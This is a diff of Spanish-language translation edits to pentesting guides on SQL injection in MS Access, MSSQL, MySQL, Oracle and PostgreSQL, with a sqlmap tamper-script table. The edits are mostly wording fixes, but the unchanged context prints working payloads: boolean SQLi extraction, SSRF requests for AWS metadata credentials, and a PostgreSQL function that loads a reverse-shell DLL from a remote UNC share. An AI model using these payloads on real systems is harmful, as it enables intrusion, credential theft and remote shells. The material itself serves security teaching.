||||
|
||||
Es posible **acceder a la tercera columna de una tabla sin usar su nombre** utilizando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, así que en una sqlinjection esto se vería así:
|
||||
```bash
|
||||
|
||||
@ -29,7 +29,7 @@ Si esto no funciona, siempre podrías corregir la sintaxis de la consulta:
|
||||
|
||||
No son compatibles.
|
||||
|
||||
### LÍMITE
|
||||
### LIMIT
|
||||
|
||||
El operador **`LIMIT`** **no está implementado**. Sin embargo, es posible limitar los resultados de la consulta SELECT a las **primeras N filas de la tabla utilizando el operador `TOP`**. `TOP` acepta como argumento un entero, que representa el número de filas que se devolverán.
|
||||
```sql
|
||||
@ -50,9 +50,9 @@ Por lo tanto, necesitas conocer un **nombre de tabla válido**.
|
||||
> [!WARNING]
|
||||
> Esto te permitirá exfiltrar valores de la tabla actual sin necesidad de conocer el nombre de la tabla.
|
||||
|
||||
**MS Access** permite **sintaxis extraña** como **`'1'=2='3'='asd'=false`**. Como suele ser, la inyección SQL estará dentro de una cláusula **`WHERE`**, lo que podemos abusar.
|
||||
**MS Access** permite **sintaxis extraña** como **`'1'=2='3'='asd'=false`**. Como suele ser, la inyección SQL estará dentro de una cláusula **`WHERE`**, por lo que podemos abusar de eso.
|
||||
|
||||
Imagina que tienes una SQLi en una base de datos de MS Access y sabes (o adivinaste) que un **nombre de columna es username**, y ese es el campo que quieres **exfiltrar**. Podrías verificar las diferentes respuestas de la aplicación web cuando se utiliza la técnica de chaining equals y potencialmente exfiltrar contenido con una **inyección booleana** usando la función **`Mid`** para obtener subcadenas.
|
||||
Imagina que tienes una SQLi en una base de datos de MS Access y sabes (o adivinaste) que un **nombre de columna es username**, y ese es el campo que deseas **exfiltrar**. Podrías verificar las diferentes respuestas de la aplicación web cuando se utiliza la técnica de chaining equals y potencialmente exfiltrar contenido con una **inyección booleana** usando la función **`Mid`** para obtener subcadenas.
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
@ -72,7 +72,7 @@ También puedes usar una forma más tradicional:
|
||||
```sql
|
||||
-1' AND (SELECT TOP 1 <table_name>)%00
|
||||
```
|
||||
_Siéntete libre de verificar esto en el entorno de pruebas en línea._
|
||||
_Siéntase libre de verificar esto en el entorno en línea._
|
||||
|
||||
- Nombres de tablas comunes de Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- Hay otra lista en [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
@ -99,11 +99,11 @@ Ya hemos discutido la [**técnica de encadenamiento de iguales**](ms-access-sql-
|
||||
```sql
|
||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||
```
|
||||
En resumen, la consulta utiliza una declaración "if-then" para activar un "200 OK" en caso de éxito o un "500 Internal Error" de lo contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso posterior de LAST permite considerar solo la décima tupla. Con ese valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Al cambiar adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "username" para todas las filas.
|
||||
En resumen, la consulta utiliza una declaración "if-then" para activar un "200 OK" en caso de éxito o un "500 Internal Error" en caso contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso posterior de LAST permite considerar solo la décima tupla. Con ese valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Al cambiar adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "username" para todas las filas.
|
||||
|
||||
### Basado en Tiempo
|
||||
|
||||
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
|
||||
Consulta [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
|
||||
|
||||
### Otras funciones interesantes
|
||||
|
||||
@ -132,7 +132,7 @@ Sin embargo, ten en cuenta que es muy típico encontrar inyecciones SQL donde **
|
||||
|
||||
### Ruta completa del directorio raíz web
|
||||
|
||||
El conocimiento de la **ruta absoluta del directorio raíz web puede facilitar ataques posteriores**. Si los errores de la aplicación no están completamente ocultos, se puede descubrir la ruta del directorio al intentar seleccionar datos de una base de datos inexistente.
|
||||
El conocimiento de la **ruta absoluta del directorio raíz web puede facilitar ataques posteriores**. Si los errores de la aplicación no están completamente ocultos, se puede descubrir la ruta del directorio intentando seleccionar datos de una base de datos inexistente.
|
||||
|
||||
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
|
||||
@ -156,7 +156,7 @@ El **nombre del archivo de base de datos (.mdb)** se puede inferir con la siguie
|
||||
|
||||
Donde **name\[i] es un nombre de archivo .mdb** y **realTable es una tabla existente** dentro de la base de datos. Aunque MS Access siempre generará un mensaje de error, es posible distinguir entre un nombre de archivo inválido y un nombre de archivo .mdb válido.
|
||||
|
||||
### Cracker de contraseña .mdb
|
||||
### Cracker de contraseñas .mdb
|
||||
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) es una utilidad gratuita que se puede utilizar para recuperar la contraseña principal de la base de datos de Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.
|
||||
|
||||
|
||||
@ -9,7 +9,7 @@ Es posible **enumerar usuarios de dominio a través de inyección SQL dentro de
|
||||
- **`SELECT DEFAULT_DOMAIN()`**: Obtener el nombre del dominio actual.
|
||||
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Si conoces el nombre del dominio (_DOMAIN_ en este ejemplo), esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\
|
||||
Esta función te permitirá **conocer el ID del dominio** (todos los bytes excepto los últimos 4).
|
||||
- **`SUSER_SNAME(0x01050000000[...]0000e803)`**: Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (normalmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes hacer un ataque de fuerza bruta a los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
|
||||
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (normalmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes hacer un ataque de fuerza bruta a los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
|
||||
```python
|
||||
def get_sid(n):
|
||||
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
||||
@ -107,7 +107,7 @@ Obviamente, también podrías usar **`xp_cmdshell`** para **ejecutar** algo que
|
||||
|
||||
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Crear una UDF CLR (Función Definida por el Usuario de Common Language Runtime), que es código escrito en cualquier lenguaje .NET y compilado en un DLL, para ser cargado dentro de MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente es factible solo cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador.
|
||||
Crear una UDF CLR (Función Definida por el Usuario en el Tiempo de Ejecución de Lenguaje Común), que es código escrito en cualquier lenguaje .NET y compilado en un DLL, para ser cargado dentro de MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente es factible solo cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador.
|
||||
|
||||
Un proyecto de Visual Studio y las instrucciones de instalación se proporcionan en [este repositorio de Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar la carga del binario en MSSQL como una asamblea CLR, permitiendo así la ejecución de solicitudes HTTP GET desde dentro de MSSQL.
|
||||
|
||||
@ -137,7 +137,7 @@ DECLARE @url varchar(max);
|
||||
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
||||
SELECT dbo.http(@url);
|
||||
```
|
||||
### **Explotación Rápida: Recuperando el Contenido Completo de una Tabla en una Sola Consulta**
|
||||
### **Explotación Rápida: Recuperando Todo el Contenido de una Tabla en una Sola Consulta**
|
||||
|
||||
[Truco de aquí](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
||||
|
||||
@ -203,7 +203,7 @@ https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
|
||||
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
|
||||
|
||||
```sql
|
||||
SELECCIONAR 'a' SELECCIONAR 'b'
|
||||
SELECT 'a' SELECT 'b'
|
||||
```
|
||||
|
||||
So for example, multiple queries such as:
|
||||
|
||||
@ -12,11 +12,11 @@ La variable global `secure_file_priv`, si no está configurada, por defecto es `
|
||||
|
||||
Dado que `secure_file_priv` está deshabilitado (`""`), y suponiendo que se otorguen los permisos necesarios de archivo y `file_priv`, se pueden leer archivos fuera del directorio designado. Sin embargo, la capacidad de estas funciones para realizar llamadas de red depende en gran medida del sistema operativo. En sistemas Windows, las llamadas de red a rutas UNC son factibles debido a la comprensión de las convenciones de nomenclatura UNC por parte del sistema operativo, lo que puede llevar a la exfiltración de hashes NTLMv2.
|
||||
|
||||
Este método SSRF está limitado al puerto TCP 445 y no permite la modificación del número de puerto, aunque se puede utilizar para acceder a recursos compartidos con plenos privilegios de lectura y, como se demostró en investigaciones anteriores, para robar hashes para una explotación posterior.
|
||||
Este método SSRF está limitado al puerto TCP 445 y no permite la modificación del número de puerto, aunque se puede utilizar para acceder a recursos compartidos con plenos privilegios de lectura y, como se demostró en investigaciones anteriores, para robar hashes para una mayor explotación.
|
||||
|
||||
### Ejecución Remota de Código (RCE) a través de Funciones Definidas por el Usuario (UDF)
|
||||
|
||||
Las bases de datos MySQL ofrecen el uso de Funciones Definidas por el Usuario (UDF) desde archivos de bibliotecas externas. Si estas bibliotecas son accesibles dentro de directorios específicos o en el `$PATH` del sistema, se pueden invocar desde dentro de MySQL.
|
||||
Las bases de datos MySQL ofrecen el uso de Funciones Definidas por el Usuario (UDF) desde archivos de biblioteca externos. Si estas bibliotecas son accesibles dentro de directorios específicos o en el `$PATH` del sistema, se pueden invocar desde dentro de MySQL.
|
||||
|
||||
Esta técnica permite la ejecución de solicitudes de red/HTTP a través de un UDF, siempre que se cumplan varias condiciones, incluyendo acceso de escritura a `@@plugin_dir`, `file_priv` configurado en `Y`, y `secure_file_priv` deshabilitado.
|
||||
|
||||
|
||||
@ -14,9 +14,9 @@ Ejecuté el comando docker con la bandera `--network="host"` para poder imitar O
|
||||
```
|
||||
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
|
||||
```
|
||||
#### Paquetes de Oracle que soportan una especificación de URL o un nombre de host/número de puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||||
#### Paquetes de Oracle que soportan una especificación de URL o un Nombre de Host/Número de Puerto <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
|
||||
|
||||
Para encontrar paquetes y funciones que soporten una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente,
|
||||
Para encontrar paquetes y funciones que soporten una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en Línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente,
|
||||
```
|
||||
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
|
||||
```
|
||||
@ -82,7 +82,7 @@ Un `ORA-29276: transfer timeout` muestra que el puerto está abierto pero no se
|
||||
|
||||
**UTL_TCP**
|
||||
|
||||
El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que todos los aspectos de una conexión TCP/IP pueden ser controlados.
|
||||
El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una forma de acceder a la red o realizar solicitudes completas del lado del servidor, ya que se pueden controlar todos los aspectos de una conexión TCP/IP.
|
||||
|
||||
El ejemplo [en el sitio de documentación de Oracle muestra cómo puedes usar este paquete para hacer una conexión TCP en bruto para obtener una página web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificarlo un poco más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario.
|
||||
```
|
||||
@ -128,7 +128,7 @@ Interesantemente, debido a la capacidad de crear solicitudes TCP en bruto, este
|
||||
|
||||
**UTL_HTTP y Solicitudes Web**
|
||||
|
||||
Quizás la técnica más común y ampliamente documentada en cada tutorial de Inyección SQL Oracle Fuera de Banda es el paquete [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Este paquete se define en la documentación como - `El paquete UTL_HTTP realiza llamadas al Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puedes usarlo para acceder a datos en Internet a través de HTTP.`
|
||||
Quizás la técnica más común y ampliamente documentada en cada tutorial de Inyección SQL Oracle Fuera de Banda es el paquete [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Este paquete está definido por la documentación como - `El paquete UTL_HTTP realiza llamadas al Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puedes usarlo para acceder a datos en Internet a través de HTTP.`
|
||||
```
|
||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||
```
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
---
|
||||
|
||||
**Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos de postgresql y complementar los trucos que puedes encontrar en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
**Esta página tiene como objetivo explicar diferentes trucos que podrían ayudarte a explotar una inyección SQL encontrada en una base de datos PostgreSQL y complementar los trucos que puedes encontrar en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||
|
||||
## Interacción de red - Escalación de privilegios, escáner de puertos, divulgación de respuesta de desafío NTLM y exfiltración
|
||||
|
||||
El **módulo de PostgreSQL `dblink`** ofrece capacidades para conectarse a otras instancias de PostgreSQL y ejecutar conexiones TCP. Estas características, combinadas con la funcionalidad `COPY FROM`, permiten acciones como escalación de privilegios, escaneo de puertos y captura de respuesta de desafío NTLM. Para métodos detallados sobre cómo ejecutar estos ataques, consulta cómo [realizar estos ataques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
El **módulo PostgreSQL `dblink`** ofrece capacidades para conectarse a otras instancias de PostgreSQL y ejecutar conexiones TCP. Estas características, combinadas con la funcionalidad `COPY FROM`, permiten acciones como escalación de privilegios, escaneo de puertos y captura de respuesta de desafío NTLM. Para métodos detallados sobre cómo ejecutar estos ataques, consulta cómo [realizar estos ataques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Ejemplo de exfiltración usando dblink y objetos grandes**
|
||||
|
||||
@ -27,11 +27,11 @@ Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en:
|
||||
### Funciones de cadena de PostgreSQL
|
||||
|
||||
Manipular cadenas podría ayudarte a **eludir WAFs u otras restricciones**.\
|
||||
[**En esta página**](https://www.postgresqltutorial.com/postgresql-string-functions/)**puedes encontrar algunas funciones de cadenas útiles.**
|
||||
[**En esta página** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**puedes encontrar algunas funciones de cadena útiles.**
|
||||
|
||||
### Consultas apiladas
|
||||
|
||||
Recuerda que PostgreSQL admite consultas apiladas, pero varias aplicaciones generarán un error si se devuelven 2 respuestas cuando se espera solo 1. Pero, aún puedes abusar de las consultas apiladas a través de la inyección de tiempo:
|
||||
Recuerda que PostgreSQL admite consultas apiladas, pero varias aplicaciones generarán un error si se devuelven 2 respuestas cuando se espera solo 1. Sin embargo, aún puedes abusar de las consultas apiladas a través de inyección de tiempo:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
||||
@ -28,7 +28,7 @@ Para almacenar datos binarios, primero se crea un LOID:
|
||||
SELECT lo_creat(-1); -- Creates a new, empty large object
|
||||
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
||||
```
|
||||
En situaciones que requieren un control preciso, como la explotación de una Blind SQL Injection, `lo_create` es preferido para especificar un LOID fijo.
|
||||
En situaciones que requieren un control preciso, como la explotación de una Blind SQL Injection, se prefiere `lo_create` para especificar un LOID fijo.
|
||||
|
||||
Los fragmentos de datos se pueden insertar de la siguiente manera:
|
||||
```sql
|
||||
|
||||
@ -8,7 +8,7 @@ Desde **PostgreSQL 9.1**, la instalación de módulos adicionales es simple. [La
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
Una vez que tengas dblink cargado, podrías realizar algunos trucos interesantes:
|
||||
Una vez que tengas dblink cargado, podrías ser capaz de realizar algunos trucos interesantes:
|
||||
|
||||
### Escalación de Privilegios
|
||||
|
||||
@ -26,7 +26,7 @@ Otra posible mala configuración consiste en algo como esto:
|
||||
host all all 127.0.0.1/32 trust
|
||||
```
|
||||
Como permitirá que cualquier persona desde el localhost se conecte a la base de datos como cualquier usuario.\
|
||||
En este caso y si la función **`dblink`** está **funcionando**, podrías **escalar privilegios** al conectarte a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías poder acceder:
|
||||
En este caso y si la función **`dblink`** está **funcionando**, podrías **escalar privilegios** conectándote a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías poder acceder:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=postgres
|
||||
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
|
||||
```
|
||||
### Escaneo de Puertos
|
||||
|
||||
Abusando de `dblink_connect` también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación dice que `dblink_connect_u()` es idéntica a `dblink_connect()`, excepto que permitirá a los usuarios no superusuarios conectarse utilizando cualquier método de autenticación**.
|
||||
Abusando de `dblink_connect` también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación dice que `dblink_connect_u()` es idéntica a `dblink_connect()`, excepto que permitirá a los no superusuarios conectarse usando cualquier método de autenticación**.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=216.58.212.238
|
||||
port=443
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# RCE con extensiones de PostgreSQL
|
||||
# RCE con Extensiones de PostgreSQL
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||
|
||||
<summary>Escribir archivo binario desde base64</summary>
|
||||
|
||||
Para escribir un binario en un archivo en postgres, es posible que necesites usar base64, esto será útil para ese propósito:
|
||||
Para escribir un binario en un archivo en postgres, es posible que necesites usar base64, esto será útil para ese asunto:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
@ -250,7 +250,7 @@ int32 arg = PG_GETARG_INT32(0);
|
||||
PG_RETURN_INT32(arg + 1);
|
||||
}
|
||||
```
|
||||
Nota cómo en este caso el **código malicioso está dentro de la función DllMain**. Esto significa que en este caso no es necesario ejecutar la función cargada en postgresql, solo **cargar la DLL** hará que se **ejecute** el reverse shell:
|
||||
Nota cómo en este caso el **código malicioso está dentro de la función DllMain**. Esto significa que en este caso no es necesario ejecutar la función cargada en postgresql, solo **cargar el DLL** hará que se **ejecute** el reverse shell:
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
@ -280,7 +280,7 @@ select connect_back('192.168.100.54', 1234);
|
||||
_Tenga en cuenta que no necesita agregar la extensión `.dll`, ya que la función de creación la añadirá._
|
||||
|
||||
Para más información **lea la** [**publicación original aquí**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
En esa publicación **este fue el** [**código utilizado para generar la extensión de postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender cómo compilar una extensión de postgres, lea cualquiera de las versiones anteriores_).\
|
||||
En esa publicación **este fue el** [**código utilizado para generar la extensión de postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender a compilar una extensión de postgres, lea cualquiera de las versiones anteriores_).\
|
||||
En la misma página se **proporcionó este exploit para automatizar** esta técnica:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Lenguajes de PostgreSQL
|
||||
|
||||
La base de datos de PostgreSQL a la que tienes acceso puede tener diferentes **lenguajes de scripting instalados** que podrías abusar para **ejecutar código arbitrario**.
|
||||
La base de datos PostgreSQL a la que tienes acceso puede tener diferentes **lenguajes de scripting instalados** que podrías abusar para **ejecutar código arbitrario**.
|
||||
|
||||
Puedes **hacerlos funcionar**:
|
||||
```sql
|
||||
@ -31,7 +31,7 @@ La mayoría de los lenguajes de scripting que puedes instalar en PostgreSQL tien
|
||||
> ```
|
||||
|
||||
> [!CAUTION]
|
||||
> Si no ves un lenguaje, podrías intentar cargarlo con (**necesitas ser superadmin**):
|
||||
> Si no ves un lenguaje, podrías intentar cargarlo con (**necesitas ser superadministrador**):
|
||||
>
|
||||
> ```
|
||||
> CREATE EXTENSION plpythonu;
|
||||
|
||||
@ -1,3 +1,5 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Argumentos básicos para SQLmap
|
||||
|
||||
## Genérico
|
||||
@ -113,51 +115,51 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
| Tamper | Descripción |
|
||||
| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo en UTF-8 |
|
||||
| apostrophenullencode.py | Reemplaza el carácter de apóstrofe con su contraparte ilegal de doble unicode |
|
||||
| appendnullbyte.py | Agrega un carácter de byte NULL codificado al final de la carga útil |
|
||||
| base64encode.py | Codifica en Base64 todos los caracteres en una carga útil dada |
|
||||
| apostrophemask.py | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo UTF-8 |
|
||||
| apostrophenullencode.py | Reemplaza el carácter de apóstrofe con su contraparte de doble unicode ilegal |
|
||||
| appendnullbyte.py | Agrega un carácter de byte NULL codificado al final de la carga útil |
|
||||
| base64encode.py | Codifica en Base64 todos los caracteres en una carga útil dada |
|
||||
| between.py | Reemplaza el operador mayor que \('>'\) con 'NOT BETWEEN 0 AND \#' |
|
||||
| bluecoat.py | Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego reemplaza el carácter = con el operador LIKE |
|
||||
| chardoubleencode.py | Codifica doblemente todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
|
||||
| commalesslimit.py | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Reemplaza instancias como 'MID\(A, B, C\)' con 'MID\(A FROM B FOR C\)' |
|
||||
| concat2concatws.py | Reemplaza instancias como 'CONCAT\(A, B\)' con 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | Codifica en URL todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
|
||||
| charunicodeencode.py | Codifica en unicode-url los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "%u0022" |
|
||||
| charunicodeescape.py | Codifica en unicode-url los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "\u0022" |
|
||||
| equaltolike.py | Reemplaza todas las ocurrencias del operador igual \('='\) con el operador 'LIKE' |
|
||||
| escapequotes.py | Escapa las comillas con barra invertida \(' y "\) |
|
||||
| greatest.py | Reemplaza el operador mayor que \('>'\) con su contraparte 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Agrega un comentario de MySQL versionado antes de cada palabra clave |
|
||||
| ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL\(A, B\)' con 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Envuelve la consulta completa con un comentario versionado |
|
||||
| modsecurityzeroversioned.py | Envuelve la consulta completa con un comentario de versión cero |
|
||||
| multiplespaces.py | Agrega múltiples espacios alrededor de las palabras clave SQL |
|
||||
| commalesslimit.py | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M' |
|
||||
| commalessmid.py | Reemplaza instancias como 'MID\(A, B, C\)' con 'MID\(A FROM B FOR C\)' |
|
||||
| concat2concatws.py | Reemplaza instancias como 'CONCAT\(A, B\)' con 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
|
||||
| charencode.py | Codifica en URL todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
|
||||
| charunicodeencode.py | Codifica en URL unicode los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "%u0022" |
|
||||
| charunicodeescape.py | Codifica en URL unicode los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "\u0022" |
|
||||
| equaltolike.py | Reemplaza todas las ocurrencias del operador igual \('='\) con el operador 'LIKE' |
|
||||
| escapequotes.py | Escapa las comillas con barra invertida \(' y "\) |
|
||||
| greatest.py | Reemplaza el operador mayor que \('>'\) con su contraparte 'GREATEST' |
|
||||
| halfversionedmorekeywords.py | Agrega un comentario de MySQL versionado antes de cada palabra clave |
|
||||
| ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL\(A, B\)' con 'IF\(ISNULL\(A\), B, A\)' |
|
||||
| modsecurityversioned.py | Envuelve la consulta completa con un comentario versionado |
|
||||
| modsecurityzeroversioned.py | Envuelve la consulta completa con un comentario de versión cero |
|
||||
| multiplespaces.py | Agrega múltiples espacios alrededor de las palabras clave SQL |
|
||||
| nonrecursivereplacement.py | Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para el reemplazo \(e.g. .replace\("SELECT", ""\)\) filtros |
|
||||
| percentage.py | Agrega un signo de porcentaje \('%'\) delante de cada carácter |
|
||||
| overlongutf8.py | Convierte todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
|
||||
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio |
|
||||
| randomcomments.py | Agrega comentarios aleatorios a las palabras clave SQL |
|
||||
| securesphere.py | Agrega una cadena especialmente elaborada |
|
||||
| sp_password.py | Agrega 'sp_password' al final de la carga útil para ofuscación automática de los registros de DBMS |
|
||||
| space2comment.py | Reemplaza el carácter de espacio \(' '\) con comentarios |
|
||||
| percentage.py | Agrega un signo de porcentaje \('%'\) delante de cada carácter |
|
||||
| overlongutf8.py | Convierte todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
|
||||
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio |
|
||||
| randomcomments.py | Agrega comentarios aleatorios a las palabras clave SQL |
|
||||
| securesphere.py | Agrega una cadena especialmente elaborada |
|
||||
| sp_password.py | Agrega 'sp_password' al final de la carga útil para ofuscación automática de los registros de DBMS |
|
||||
| space2comment.py | Reemplaza el carácter de espacio \(' '\) con comentarios |
|
||||
| space2dash.py | Reemplaza el carácter de espacio \(' '\) con un comentario de guion \('--'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
|
||||
| space2hash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de libra \('\#'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
|
||||
